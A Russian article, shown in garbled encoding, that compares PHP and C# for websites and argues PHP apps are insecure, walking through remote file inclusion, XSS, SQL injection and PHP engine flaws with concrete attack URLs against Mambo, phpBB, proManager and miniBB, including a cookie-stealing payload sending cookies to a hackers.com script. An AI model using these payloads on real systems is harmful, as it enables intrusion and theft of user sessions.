Ôàëüñèôèêàöèè âûáîðîâ ïðåçèäåíòà: êàê ýòî äåëàåòñÿ Íå ñìîòðÿ íà îãðîìíîå êîëè÷åñòâî íàðóøåíèé ...
ÀËÛÅ ÏÀÐÓÑÀ Â ÏÅÒÅÐÁÓÐÃÅ - (0)«Àëûå ïàðóñà» — îäèí èç ñàìûõ èçâåñòíûõ ïðàçäíèêîâ â Ñåâåðíîé ñòîëèöå, ...
Âëàäèìèð Ðóìÿíöåâ.Àíãåëû è êîòû - (0)Âëàäèìèð Ðóìÿíöåâ.Àíãåëû è êîòû. Âëàäèìèð Ðóìÿíöåâ ðîäèëñÿ â 1957 ãîäó, ðèñîâàòü íà÷àë â ...
ôîòî Ñàíêò-Ïåòåðáóðãà - (0)Ñàíêò-Ïåòåðáóðã Ñàíêò-Ïåòåðáóðã íåâåðîÿòíî êðàñèâûé ãîðîä, äóìàþ äàæå êîðåííûì "ïèòåðöàì" áóäåò è...
Áëèæíåâîñòî÷íàÿ ïðîáëåìà - ïðîñòîå îáúÿñíåíèå çà ïÿòü ìèíóò - (0)Áëèæíåâîñòî÷íàÿ ïðîáëåìà - ïðîñòîå îáúÿñíåíèå çà ïÿòü ìèíóò ïðîñòîå îáúÿñíåíèå áëèæíåâîñòî÷...


Ðàçðàáîòêà ñàéòà íà PHP èëè íà C#. ×òî âûáðàòü? |
Âñå, íà÷èíàÿ îò ïðîñòûõ ïîëüçîâàòåëåé, çàêàí÷èâàÿ äèðåêòîðàìè êðóïíûõ ïðåäïðèÿòèé, õîðîøî ïîíèìàþò, ÷òî íàñòóïëåíèå Internet íà ïîâñåäíåâíóþ æèçíü íåèçáåæíî. È î÷åíü íåìíîãèå îðãàíèçàöèè åùå íå èìåþò èëè, êàê ìèíèìóì, íå çàäóìûâàëèñü èìåòü ñâîþ ñòðàíè÷êó âî âñåìèðíîé ñåòè. È êàæäûé, êòî îòâàæèëñÿ íà ýòîò âûíóæäåííûé øàã, ñòàíîâèòñÿ ïåðåä âûáîðîì: ñäåëàòü ñòàòè÷íóþ, íèêîìó íåèíòåðåñíóþ ñòðàíèöó, èëè æå ñîçäàòü ñàéò - äîñòîéíûé, èíòåðàêòèâíûé ñ äèíàìè÷åñêèì ñîäåðæèìûì.
Åñëè âû äåëàåòå âûáîð â ïîëüçó äèíàìè÷íîñòè, òî âû ñòàíåòå ïåðåä âûáîðîì íîìåð äâà: êòî è êàê áóäåò ïèñàòü ïðîãðàììíóþ ñîñòàâëÿþùóþ ïðîåêòà?
Äîâîëüíî ÷àñòî íà âûáîð ñêðèïòîâ äëÿ ñàéòà âëèÿåò èõ äîñòóïíîñòü, ïîïóëÿðíîñòü è... áåñïëàòíîñòü (èëè öåíîâàÿ ïîëèòèêà ïðîèçâîäèòåëÿ). Îäíàêî, â îñíîâó ñâîåãî âûáîðà íàðÿäó ñ âíåøíèì óäîáñòâîì èñïîëüçîâàíèÿ è ïîïóëÿðíîñòüþ íåîáõîäèìî ïîñòàâèòü è åùå îäèí íåìàëîâàæíûé ôàêòîð: áåçîïàñíîñòü.
Âïðî÷åì, åñëè âàø ñàéò ïðåäñòàâëÿåò ñîáîé íå÷òî íå èìåþùåå îñîáîé ïðèâëåêàòåëüíîñòè äëÿ õàêåðîâ, òîãäà âàì íå÷åãî îïàñàòüñÿ… êðîìå òîãî, ÷òî â îäèí ïàñìóðíûé äåíü, çàéäÿ íà ñâîå äåòèùå, âû óâèäèòå íà ãëàâíîé ñòðàíèöå ñîâåðøåííî íå òî, ÷òî âû òàì ðàçìåñòèëè.
ßçûê PHP ñòàë î÷åíü ïîïóëÿðíûì äëÿ íàïèñàíèÿ web ïðèëîæåíèé, ñîçäàíèÿ äèíàìè÷åñêèõ ñòðàíèö, óïðàâëåíèÿ ñîäåðæèìûì ñàéòîâ. Ïðè÷èí òîìó ìíîæåñòâî, íî â ïåðâóþ î÷åðåäü, ýòî ïðîñòîòà ñàìîãî ÿçûêà ïðîãðàììèðîâàíèÿ, ïðîñòîòà èñïîëüçîâàíèÿ ñêðèïòîâ, ïîääåðæêà èíòåðïðåòàòîðà PHP ïîïóëÿðíûìè web ñåðâåðàìè, îòêðûòîñòü êîäà. Âïðî÷åì, ïîñëåäíåå ìîæåò áûòü äîñòàòî÷íî óñëîâíûì è ïðèìåíèìî â áîëüøåé ñòåïåíè ê ñàìîìó èíòåðïðåòàòîðó.
Íî, ãëÿäÿ íà âñå óêàçàííûå ïðåèìóùåñòâà è ïîïóëÿðíîñòü, ñëåäóåò ïîäóìàòü îá îäíîì: ïî÷åìó òà æå ñòàòèñòèêà ãîâîðèò, ÷òî îêîëî 80% (åñëè íå áîëüøå) âñåõ âçëîìîâ â ñåòè ïðîèñõîäèò ñ èñïîëüçîâàíèåì íåäî÷åòîâ â PHP ñêðèïòàõ, è, â ïåðâóþ î÷åðåäü, ñêðèïòàõ áåñïëàòíûõ.
Êîíå÷íî æå, áåñïëàòíîñòü è îòêðûòîñòü ïîäðàçóìåâàåò íå òîëüêî ïîïóëÿðíîñòü ó ïîëüçîâàòåëåé, íî è ó èññëåäîâàòåëåé êîäà, íàìåðåíèÿ êîòîðûõ ìîãóò áûòü ñàìûìè ðàçíîîáðàçíûìè. Òàê ÷òî, çà ïîïóëÿðíîñòü âñåãäà ïðèõîäèòñÿ ïëàòèòü: ëèáî çà ñàì ïðîäóêò — ïðîãðàììèñòàì âûñîêîãî óðîâíÿ ïðîôåññèîíàëèçìà (à ýòî íå âñåãäà ñïàñàåò, êàê ìû óâèäèì äàëåå), ëèáî ïîñòîÿííûìè îïàñåíèÿìè òîãî, ÷òî âàø ñàéò ìîæåò ñòàòü î÷åðåäíîé æåðòâîé âçëîìà.
Âñå æå, ïðåæäå ÷åì ãîâîðèòü î ïóòÿõ ðåøåíèÿ ïðîáëåì, äàâàéòå îñòàíîâèìñÿ íà ñàìèõ ïðîáëåìàõ ïîäðîáíåå.
Ïî áîëüøîìó ñ÷åòó, âñå îøèáêè ïðîãðàììèñòîâ ñâîäÿòñÿ ê òîìó, ÷òî ïåðåìåííûå, êîòîðûå ïîëüçîâàòåëü ìîæåò îïðåäåëèòü (èëè ïåðåîïðåäåëèòü), ïðîõîäÿò íåäîñòàòî÷íóþ ôèëüòðàöèþ. Òàê, ê ïðèìåðó, åñëè â ôóíêöèþ eval() ïåðåäàåòñÿ ñòðîêà äàííûõ, îäèí êîìïîíåíò êîòîðîé îïðåäåëÿåòñÿ ïîëüçîâàòåëåì, òî ÷òî ìåøàåò ýòîìó ïîëüçîâàòåëþ ñôîðìèðîâàòü ïåðåäàâàåìûå äàííûå òàêèì îáðàçîì, ÷òî áû â ðåçóëüòàòå âûïîëíèëñÿ íóæíûé åìó êîä PHP?
.include
Ñàìîé «çëîé» îøèáêîé ïðîãðàììèñòîâ PHP íåñêîëüêî ëåò ñ÷èòàåòñÿ ò.í. include bug. Îòñóòñòâèå äîñòàòî÷íîé ôèëüòðàöèè ïåðåìåííûõ, ïåðåäàâàåìûõ â êà÷åñòâå ïàðàìåòðà â ôóíêöèè òèïà include() ìîãóò ïðèâåñòè (ïðè áëàãîïðèÿòíûõ óñëîâèÿõ) ê âíåäðåíèþ ïðîèçâîëüíîãî êîäà â ïðîãðàììó. Ðåçóëüòàò – êîìïðîìåòàöèÿ ñèñòåìû.
Ïðàâäà, åñòü íåñêîëüêî îãðàíè÷èâàþùèõ ýòó óÿçâèìîñòü óñëîâèé:
Âïðî÷åì, âñå ýòî äîâîëüíî ÷àñòî âñòðå÷àåòñÿ è ïîíûíå íà ìàññîâûõ õîñòèíãàõ.
Íåêîòîðîå âðåìÿ íàçàä ìíå ïðèøëîñü âñòðåòèòü ñàéò, âèäèìî ñàìîïèñíûé, ãäå íàâèãàöèÿ ïî ñòðàíèöàì ïðåäñòàâëÿëà ñîáîé íå÷òî âèäà:
index.php?page=contacts.php
Äàæå íå ñòîèò ñîìíåâàòüñÿ, ÷òî íà ýòîì ñàéòå ñðàáîòàëî óäàëåííîå âêëþ÷åíèå ôàéëà. Äèíîçàâðû íå âûìåðëè!
Ýòà óÿçâèìîñòü â òîé èëè èíîé ôîðìå ÿâëÿåòñÿ õèòîì ñðåäè óÿçâèìîñòåé è âûïóñêàåìûõ õàêåðàìè ýêñïëîèòîâ è ñåé÷àñ: 50 èç 69 ýêñïëîèòîâ äëÿ web ïðèëîæåíèé, îïóáëèêîâàííûõ íà milw0rm.org â èþëå 2006 ã., èñïîëüçîâàëè èìåííî óÿçâèìîñòü âêëþ÷åíèÿ ôàéëîâ.
Ñâåæèé ïðèìåð. Õîðîøèé, êà÷åñòâåííî ñäåëàííûé ïîðòàë mambo òåì íå ìåíåå ïåñòðèò îøèáêàìè ïðîãðàììèñòîâ íà ïóáëè÷íûõ äîñêàõ ñåòè, ïóáëèêóþùèõ ñâåæèå óÿçâèìîñòè. Î÷åðåäíàÿ óÿçâèìîñòü áûëà íàéäåíà â ôàéëå admin.cropcanvas.php êîìïîíåíòà com_cropimage 1.0.  7-é ñòðîêå åñòü íåçàìûñëîâàòûé êîä:
require_once $cropimagedir."class.cropinterface.php";
Ñîîòâåòñòâåííî, åñëè register_globals âêëþ÷åíû â ini ôàéëå, òî õàêåð ìîæåò ïåðåäàòü ïåðåìåííóþ cropimagedir â GET èëè äðóãîì çàïðîñå, íàïðèìåð:
http://[óÿçâèìûé_ñàéò]/[ïóòü_ê_ïîðòàëó]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[ñàéò_õàêåðà]
ïðåäâàðèòåëüíî ïîìåñòèâ íà [ñàéòå_õàêåðà] ôàéë class.cropinterface.php ñ íóæíûì åìó êîäîì.
.XSS
Äîâîëüíî ïîïóëÿðíàÿ óÿçâèìîñòü, çíà÷åíèå êîòîðîé ÷àñòî íåäîîöåíèâàåòñÿ – óÿçâèìîñòü «ìåæñàéòîâîãî ñêðèïòèíãà» (cross site scripting). Ïîïóëÿðíîñòü åå îáóñëîâëåíà â ïåðâóþ î÷åðåäü ñëîæíîñòüþ ïðîâåäåíèÿ âñåõ âîçìîæíûõ ïðîâåðîê ïåðåäàâàåìûõ äàííûõ íà ïðåäìåò âíåäðåíèÿ êîäà, êîòîðûé ìîæåò áûòü âûïîëíåí â êîíòåêñòå ðàçëè÷íûõ áðîóçåðîâ.
Ñóòü óÿçâèìîñòè, êàê âû óæå ìîãëè äîãàäàòüñÿ, çàêëþ÷àåòñÿ â òîì, ÷òî ïîëüçîâàòåëü ñî çëûì óìûñëîì ìîæåò ïåðåäàòü äàííûå ñåðâåðó èëè äðóãîìó ïîëüçîâàòåëþ (íàïð., ñïåöèàëüíûì îáðàçîì ñôîðìèðîâàííûé URL), êîòîðûå ìîãóò âûçâàòü èñêàæåíèå èíôîðìàöèè, îòîáðàæàåìîé íà ñòðàíèöå. Îáû÷íî ýòî õàðàêòåðíî äëÿ ëþáûõ ñêðèïòîâ, ãäå òàê èëè èíà÷å ðàçðåøåíû âñòàâêè òåãîâ.
Ñàìûé áàíàëüíûé ïðèìåð, êîãäà äàííûå èç URL ïåðåäàþòñÿ áåç î÷èñòêè «êàê åñòü» â html êîä ñòðàíèöû, ÷òî ìû ìîæåì íàáëþäàòü â phpCommunityCalendar 4.0.3. Òàê, ñëåäóþùèé çàïðîñ ïðèâåäåò ê âûïîëíåíèþ java script êîäà alert(‘XSS’), â ðåçóëüòàòå ÷åãî ïîëüçîâàòåëü óâèäèò îêîøêî ïðåäóïðåæäåíèÿ ñ íàäïèñüþ “XSS”:
http://[óÿçâèìûé_ñàéò]/[ïóòü_ê_ñêðèïòó]/week.php?LoName=<script>alert('XSS')</script>
Ñëåäóþùèé íåìóäðåíûé ïðèìåð èìååò óæå ÷èñòî ïðàêòè÷åñêîå çíà÷åíèå äëÿ õàêåðà.  ìàå 2006 ã. áûëè îïóáëèêîâàíû äàííûå î òîì, ÷òî åñëè â èçâåñòíîì ôîðóìå phpBB âåðñèè äî 2.0.19 ðàçðåøåíû âñòàâêè html êîäîâ, òî èìåëàñü âîçìîæíîñòü âíåäðèòü çëîíàìåðåííûé java script êîä, êîòîðûé áû âîðîâàë cookie ïîëüçîâàòåëåé:
<pre a='>' onmouseover='document.location="http://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > http://www.somesite.com/</pre>
Ðàçóìååòñÿ, ÷òî ïóñòü http://hackers.com/cookie_stealer.php âçÿò ñîâåðøåííî ïðîèçâîëüíî è äîëæåí óêàçûâàòü íà ðåàëüíûé ñêðèïò, êîòîðûé áóäåò êîëëåêöèîíèðîâàòü äàííûå èç cookie ïîïàâøèõñÿ íà ýòó ïðèìàíêó ïîëüçîâàòåëåé ôîðóìà. Ñîîòâåòñòâåííî, âàðèàöèé âíåäðåíèÿ êîäà â äàííîì ñëó÷àå ìîæåò áûòü ìàññà.
.SQL injection
Âòîðàÿ ïî ïîïóëÿðíîñòè óÿçâèìîñòü PHP ñêðèïòîâ – âíåäðåíèå SQL êîäà.
Êàê íåñëîæíî äîãàäàòüñÿ, óÿçâèìîñòü õàðàêòåðíà äëÿ ïðèëîæåíèé, èñïîëüçóþùèõ áàçû äàííûõ SQL. Ñóòü óÿçâèìîñòè çàêëþ÷àåòñÿ â òîì, ÷òî äàííûå èç çàïðîñà ïîëüçîâàòåëÿ ïîñòóïàþò íåïîñðåäñòâåííî (èëè ïîñëå îïðåäåëåííîé îáðàáîòêè) â SQL çàïðîñ. Ñîîòâåòñòâåííî, íåäîñòàòî÷íàÿ ôèëüòðàöèÿ ìîæåò ñòàòü ïðè÷èíîé ìàíèïóëèðîâàíèÿ SQL çàïðîñàìè. Êàêîé çàïðîñ ìîæåò èìåòü ìåñòî? Âñå çàâèñèò îò îãðàíè÷èâàþùèõ óñëîâèé, íàêëàäûâàåìûõ ôèëüòðàöèåé ïåðåìåííûõ, è ôàíòàçèè õàêåðà. Âîçüìåì îäèí èç ñâåæèõ ïðèìåðîâ. Óÿçâèìîñòü â ïðèëîæåíèè proManager v.0.73, êîòîðîå ðàñïðîñòðàíÿåòñÿ ñ îòêðûòûì êîäîì. Ïðèìåð çàïðîñà, êîòîðûé ñîçäàåò íîâîãî àäìèíèñòðàòîðà ïðîåêòà c èìåíåì evilhacker è ïàðîëåì neverhack:
http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*
Òàêèì îáðàçîì, îñíîâíûì íåäîñòàòêîì ïðèëîæåíèé íà PHP ñ îòêðûòûì êîäîì ÿâëÿåòñÿ äîñòóïíîñòü (ò.å. êàê-ðàç ñàìà îòêðûòîñòü) êîäà äëÿ ïûòëèâûõ óìîâ õàêåðîâ. È, ïîâåðüòå, íå âñåãäà õàêåðû âûêëàäûâàþò ñâîè íàðàáîòêè íà áàã-òðåê ëåíòû è, óæ òåì áîëåå, íå âñåãäà ñïåðâà ïðåäóïðåæäàþò î íàéäåííûõ îøèáêàõ ðàçðàáîò÷èêà. Ïðèìåðîì òîìó ìîãóò ñëóæèòü âçëîìû ñàéòîâ ðàçðàáîò÷èêîâ èçâåñòíûõ ñêðèïòîâ ôîðóìîâ phpBB è Invision Power.
Èòàê, ñ îäíîé ñòîðîíû ìîæíî ïîäóìàòü, ÷òî êîðåíü âñåõ çîë â íåêîìïåòåíòíîñòè ðàçðàáîò÷èêîâ ïðîãðàììíîãî êîäà ñêðèïòîâ. Èëè, ïî êðàéíåé ìåðå, â èõ íåîñâåäîìëåííîñòè â ìåòîäàõ õàêåðñêèõ àòàê. Êîíå÷íî, íà ïðîãðàììèñòàõ ëåæèò áîëüøàÿ îòâåòñòâåííîñòü çà ôàòàëüíûå îøèáêè, íî è îíè íå âñåãäà ìîãóò ïðåäóñìîòðåòü îäèí àñïåêò!
Íåíàäîëãî âåðíåìñÿ ê àòàêàì êëàññà SQL èíúåêöèé.
Îäíîé èç ôóíêöèé, êîòîðàÿ ïîçâîëÿåò ïðîèçâåñòè ôèëüòðàöèþ è ýêðàíèðîâàíèå âñåõ îïàñíûõ äëÿ SQL çàïðîñà ñèìâîëîâ, ÿâëÿåòñÿ ôóíêöèÿ PHP mysql_real_escape_string (õîòÿ, íà ñàìîì äåëå, ýòî ñêîðåå ôóíêöèÿ MySQL ñâÿçàííàÿ ñ PHP). Íî íå òàê äàâíî áûëà îáíàðóæåíà îøèáêà â áàçàõ äàííûõ MySQL, êîòîðàÿ ïîçâîëÿëà îáîéòè ôèëüòðàöèþ ýòîé ôóíêöèè ñ èñïîëüçîâàíèåì ìóëüòèáàéòîâîé êîäèðîâêè (íàïðèìåð UTF-16). È âñå ïðèëîæåíèÿ, èñïîëüçóþùèå ýòó (êàê è íåêîòîðûå äðóãèå ôóíêöèè ýêðàíèðîâàíèÿ âðåäîíîñíûõ ñèìâîëîâ) ñòàíîâèëèñü íåçàùèùåííûìè ïåðåä õèòðîóìíûìè âçëîìùèêàìè, êîòîðûå îáëàäàëè èñõîäíûìè êîäàìè ïðèëîæåíèé (áóäåì ëè ìû ãàäàòü, ÷òî ñëó÷èëîñü áû, åñëè áû ó âçëîìùèêîâ ýòèõ ñàìûõ îòêðûòûõ êîäîâ íå áûëî?).
Çàìåòèì îäíàêî, ÷òî ýòî íå ïåðâàÿ è, óæ òåì áîëåå, íå åäèíñòâåííàÿ îøèáêà ðàçðàáîò÷èêîâ ïîïóëÿðíûõ ïëàòôîðì äëÿ õðàíåíèÿ áàç äàííûõ è ÿçûêîâ ïðîãðàììèðîâàíèÿ. Íî, ìû ãîâîðèì ñåãîäíÿ òîëüêî î PHP.
 êîíöå ïðîøëîãî ãîäà ïîÿâèëèñü íîâîñòè îá óÿçâèìîñòè, êîòîðàÿ ïîçâîëÿåò ïåðåïèñàòü äàííûå ìàññèâà $GLOBALS. ×åì ýòî ãðîçèò ïîëüçîâàòåëÿì ïðèëîæåíèé ñ îòêðûòûì êîäîì? Äåëî â òîì, ÷òî â PHP åñòü íåñêîëüêî ãëîáàëüíûõ ìàññèâîâ, êîòîðûå õðàíÿò äàííûå, ïåðåäàâàåìûå ïîëüçîâàòåëåì: _GET, _POST, _COOKIE, _FILES. Ìàññèâ $GLOBALS îòëè÷àåòñÿ îò äðóãèõ òåì, ÷òî ÷åðåç íåãî ìîæíî ïîëó÷èòü äîñòóï ê ëþáûì ãëîáàëüíûì ïåðåìåííûì. Ò.î., èñïîëüçóÿ ýòó óÿçâèìîñòü, õàêåð ìîã ïåðåïèñàòü ãëîáàëüíûå ïåðåìåííûå (äàæå èíèöèàëèçèðîâàííûå â ñàìîì ñêðèïòå) è ïîëó÷èòü äîñòóï ê èñïîëíåíèþ íóæíîãî êîäà â ñèñòåìå, íàïðèìåð, èñïîëüçóÿ óæå îïèñûâàâøóþñÿ ñèòóàöèþ ñ include bug. Ïåðåçàïèñü ïåðåìåííûõ ìàññèâà $GLOBALS ìîãëà áûòü îñóùåñòâëåíà òåì èëè èíûì ñïîñîáîì (÷åðåç ñóïåðãëîáàëüíûå ìàññèâû _GET, _POST èëè ÷åðåç ìàññèâ çàãðóæàåìûõ ôàéëîâ - _FILES) â çàâèñèìîñòè îò âåðñèè PHP. Îøèáêà áûëà íàñòîëüêî îïàñíîé, ÷òî ìíîãèå èçâåñòíûå ðàçðàáîò÷èêè ïðèëîæåíèé ñ îòêðûòûì èëè çàêðûòûì êîäîì ñòàëè âûïóñêàòü ñðàçó æå íîâûå âåðñèè ñâîèõ ïðîãðàìì, êîòîðûå ïåðåä âûïîëíåíèåì âàæíûõ ôóíêöèé ïðîâîäèëè ïðîâåðêó âõîäÿùèõ äàííûõ íà ïåðåìåííûå $GLOBALS, äóáëèðóþùèåñÿ â äðóãèõ ãëîáàëüíûõ ìàññèâàõ.
Íåèçâåñòíî ñêîëüêî æåðòâ áûëî ñðåäè ïîëüçîâàòåëåé è ïðîèçâîäèòåëåé ïîñëå ïóáëèêàöèè óÿçâèìîñòè ïåðåçàïèñè $GLOBALS, íî âîò â ÿíâàðå 2006ã. áûëà íàéäåíà åùå îäíà èíòåðåñíàÿ îñîáåííîñòü â îñíîâå PHP èíòåðïðåòàòîðà – zend engine. Áîëåå øåñòè ìåñÿöåâ ïîíàäîáèëîñü ðàçðàáîò÷èêàì PHP, ÷òîá èñïðàâèòü ýòó óÿçâèìîñòü, ñóòü êîòîðîé â äâóõ ñëîâàõ çàêëþ÷àåòñÿ â ñëåäóþùåì. PHP ïîâñåìåñòíî èñïîëüçóåò òàáëèöó õåøåé Zend’à, íàïðèìåð äëÿ õðàíåíèÿ óêàçàòåëåé íà ïîòîêè, ïåðåäàâàåìûå äàííûå. Áîëåå òîãî, ìàññèâ òèïîâ äàííûõ è ãëîáàëüíàÿ òàáëèöà ñèìâîëîâ ïðåäñòàâëÿþò íè ÷òî èíîå êàê õåø òàáëèöó. Ôóíêöèÿ unset() èñïîëüçóåò õåø òàáëèöû äëÿ î÷èñòêè çíà÷åíèÿ äîñòóïíîé ïåðåìåííîé. Ïîèñê â òàáëèöå ïðîèçâîäèòñÿ ïî èíäåêñó, ïðè ÷åì äîìèíèðóþùèì ÿâëÿåòñÿ öèôðîâîé, à íå áóêâåííî-öèôðîâîé èíäåêñ. Ò.î., unset óäàëèò â ïåðâóþ î÷åðåäü òî, ÷òî áóäåò ñîîòâåòñòâîâàòü öèôðîâîìó èíäåêñó. Íî ÷òî áóäåò, åñëè èìÿ ïåðåìåííîé îáëàäàåò ýêâèâàëåíòîì öèôðîâîãî õåøà äðóãîé ïåðåìåííîé?  òàêîì ñëó÷àå, åñëè unset áóäåò ïåðåäàíî èìÿ ýòîé âòîðîé ïåðåìåííîé, òî óäàëèòñÿ íå îíà, à ïåðåìåííàÿ ñ èìåíåì, ðàâíûì öèôðîâîìó õåøó.
Íå ïîíÿòíî? Òîãäà âîçüìåì ïðèìåð. Ôóíêöèÿ unset() èíîãäà èñïîëüçóåòñÿ ðàçðàáîò÷èêàìè ñêðèïòîâ äëÿ áûñòðîé ôèêñàöèè íåêîòîðûõ óÿçâèìîñòåé, ÷òî è èìåëî ìåñòî, íàïðèìåð, â äîâîëüíî ïîïóëÿðíîì ñêðèïòå ôîðóìà miniBB. Ðàçðàáîò÷èêè ñäåëàëè çàïëàòêó, ïî èõ ìíåíèþ ôèêñèðóþùóþ óÿçâèìîñòü «èíêëóäà» ÷åðåç ïåðåìåííóþ includeHeader, ïðîïèñàâ â íà÷àëå óÿçâèìîãî êîäà ôóíêöèþ unset($includeHeader). Âñå áû áûëî íè÷åãî, åñëè áû íå íàéäåííàÿ óÿçâèìîñòü, êàñàþùàÿñÿ ýòîé ôóíêöèè. Äëÿ òîãî, ÷òîá çàïëàòêà íå èìåëà ñìûñëà ïåðåä ìûñëüþ âçëîìùèêà, äîñòàòî÷íî â çàïðîñå GET ïåðåäàòü ïåðåìåííóþ ñ èìåíåì, êîòîðîå ñîîòâåòñòâóåò öèôðîâîìó õåøó-èíäåêñó ïåðåìåííîé includeHeader.  ðåçóëüòàòå, ìû ìîæåì òàê æå êàê è ðàíüøå èñïîëüçîâàòü ôóíêöèþ include() äëÿ âíåäðåíèÿ óäàëåííîãî ñêðèïòà ñ íóæíûì íàì êîäîì:
http://site.com/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1
 ïðèìåðå óêàçàíû èíäåêñû äëÿ îáîèõ âåðñèé PHP (4 è 5).
Èòàê, ÷òî æå äåëàòü? Èñïîëüçîâàòü ëè ñêðèïòû, íàïèñàííûå íà PHP äëÿ ñåðüåçíûõ ïðîåêòîâ? Ïî÷åìó áû è íåò? Ïî êðàéíåé ìåðå, íå âñå âåäü ïðîãðàììèñòû âûêëàäûâàþò êîä äëÿ âñåîáùåãî îáîçðåíèÿ. Åñòü íåêîòîðûå âàðèàíòû øèôðîâàíèÿ èñõîäíîãî êîäà, õîòÿ è îíè íå íà 100% îáåñïå÷èâàþò îò åãî ðàñêðûòèÿ. Íî, êàê áû òàì íè áûëî, «íåîòêðûòûé» êîä ïðîåêòîâ ñòàâèò îïðåäåëåííûå òðóäíîñòè äëÿ âçëîìùèêà, êîòîðûõ ìîæåò îí íå âñòðåòèòü ïåðåä âçëîìîì ñêðèïòîâ îáùåãî äîñòóïà.
 ëþáîì ñëó÷àå, ìû ìîæåì ïîðåêîìåíäîâàòü îáðàòèòü âíèìàíèå íà ïðèâåäåííóþ íàìè èíôîðìàöèþ, è òùàòåëüíî ïîäõîäèòü ê âîïðîñó âûáîðà ðàçðàáîò÷èêà ïðèëîæåíèé äëÿ ñâîåãî ïðîåêòà. Íå ïðåíåáðåãàòü òðåáîâàíèÿìè áåçîïàñíîñòè, åñëè âàì âàæåí èìèäæ ïðîåêòà. È, êîíå÷íî æå, ïîëàãàòüñÿ áîëüøå íà àâòîðîâ, êîòîðûå ðàáîòàþò íå íà ïóáëèêó, à íà ñåáÿ, ïîòîìó ÷òî èì áîëåå âàæíà áåçîïàñíîñòü êëèåíòîâ, ïîñêîëüêó îò ýòîãî çàâèñèò èõ ðàáîòà, à çíà÷èò è ïðèáûëü.
À êàê íà àëüòåðíàòèâíûé âàðèàíò äëÿ web ðàçðàáîòîê ïðåäëàãàåì îáðàòèòü âíèìàíèå íà òåõíîëîãèþ .NET. Íå ãîâîðÿ î òîì, ÷òî ñàìà ïëàòôîðìà ÿâëÿåòñÿ ïðîäóêòîì ñ çàêðûòûì êîäîì, ÿçûê ïðîãðàììèðîâàíèÿ C# âêëþ÷àåò â ñåáÿ ïðåèìóùåñòâà ÿçûêîâ C++ è Java.
Äàëåå ìû ïðåäëàãàåì Âàì ïîñìîòðåòü íà íåêîòîðûå ïðåèìóùåñòâà ðàçðàáîòêè ñàéòà ñ èñïîëüçîâàíèåì ÿçûêà âûñîêîãî óðîâíÿ C# (÷èòàåòñÿ ñè øàðï).
Êîìïèëèðîâàíèå êîäà.
Íàïèñàííûé êîä ïðè ïåðâîì îáðàùåíèè êîìïèëèðóåòñÿ è âïîñëåäñòâèè âûïîëíÿåòñÿ óæå ñêîìïèëèðîâàííûé êîä, â îòëè÷èå îò PHP. Ýòî çàìåòíî óñêîðÿåò ðàáîòó ïðèëîæåíèé. Âåá-ñåðâåð ñàì âûïîëíÿåò êîìïèëÿöèþ. Åñëè âû çàìåíèëè èñõîäíèêè, ñåðâåð ñàì ïðè ïåðâîì îáðàùåíèè ê ñòðàíèöå ïðîâåäåò ïåðåêîìïèëÿöèþ, áåç âàøåãî âíèìàíèÿ.
Êîä âûïîëíÿåòñÿ áûñòðåå, çàíèìàåò ìåíüøå ðåñóðñîâ, è ïðè ýòîì ïðîöåññ ðàçðàáîòêè íå óñëîæíÿåòñÿ. Ñêîðåå íàîáîðîò, â ñëó÷àå îøèáêè âû ìîæåòå ïîëó÷èòü ïîëíûé ëèñòèíã êîìïèëÿòîðà, ñ ïîäðîáíûì îïèñàíèåì îøèáêè.
Îñíîâíûå õàðàêòåðèñòèêè ÿçûêà.
Ïðîãðàììèñò, ïðèâûêøèé ê ïëàòôîðìå Microsoft, ìîæåò ïðåäñòàâèòü ñåáå C# êàê ïðîìåæóòî÷íûé âàðèàíò ìåæäó C++ è Visual Basic, åñëè ðàññìàòðèâàòü ñëîæíîñòü ÿçûêîâûõ êîíñòðóêöèé è âîçìîæíîñòè ÿçûêà.
C# èìååò C ñòèëü ñèíòàêñèñà (äëÿ óïðàâëÿþùèõ êîíñòðóêöèé, áëîêîâ êîäà, îïèñàíèÿ ñèãíàòóðû ìåòîäîâ è äð.), ìíîãî îáùåãî ñ Java (îòñóòñòâèå ìíîæåñòâåííîãî íàñëåäîâàíèÿ è øàáëîíîâ, íàëè÷èå ñáîðùèêà ìóñîðà) è Äåëüôè (îðèåíòèðîâàííîñòü íà ñîçäàíèå êîìïîíåíò), â òî æå âðåìÿ èìååò è ñâîé êîëîðèò.
Ïðè ñîçäàíèè ÿçûêà â îñíîâó äèçàéíà ëåãëà ëåãêîñòü èñïîëüçîâàíèÿ, äîìèíèðóþùàÿ íàä ìîùíîñòüþ ÿçûêà è ñêîðîñòüþ âûïîëíåíèÿ. Îòñþäà è ñáîðùèê ìóñîðà ñ óïðàâëÿåìûìè îáúåêòíûìè ññûëêàìè, êîòîðûé àâòîìàòè÷åñêè îñâîáîæäàåò çà Âàñ ïàìÿòü. Âû òàêæå ïîëó÷àåòå áåçîïàñíîñòü ðàáîòû ñ òèïàìè, à ýòî, ïî ìíåíèþ ìíîãèõ, ÿâëÿåòñÿ âòîðûì âàæíåéøèì ôàêòîðîì èçáåæàíèÿ îøèáîê.
C# îáúåêòíî-îðèåíòèðîâàííûé ÿçûê. Áîëåå òîãî, ýòî ÿçûê, îðèåíòèðîâàííûé íà íàïèñàíèå êîìïîíåíò.
Öåëüíîñòü êîíöåïöèè âèäíà, ñêàæåì â ðåàëèçàöèè óïàêîâêè/ðàñïàêîâêè. Ýòî ïîçâîëÿåò ðàññìàòðèâàòü âñå òèïû (äàæå ïðèìèòèâíûå, íàïðèìåð integer) êàê îáúåêòû, ÷òî ðàçðåøàåò ìíîãèå ïðîáëåìû äèçàéíà ïðèëîæåíèé.
Ïðè ñîçäàíèè ÿçûêà ðàññìàòðèâàëàñü íå òîëüêî ïðîñòîòà íàïèñàíèÿ ïðèëîæåíèé, íî è èõ ïîääåðæêè — â ñâÿçè ñ ÷åì â ÿçûê âêëþ÷èëè ïîääåðæêó XML êîììåíòàðèåâ è êîíòðîëÿ âåðñèé. Íàñòîÿùèé ïîäàðîê äëÿ ïðîãðàììèñòîâ.
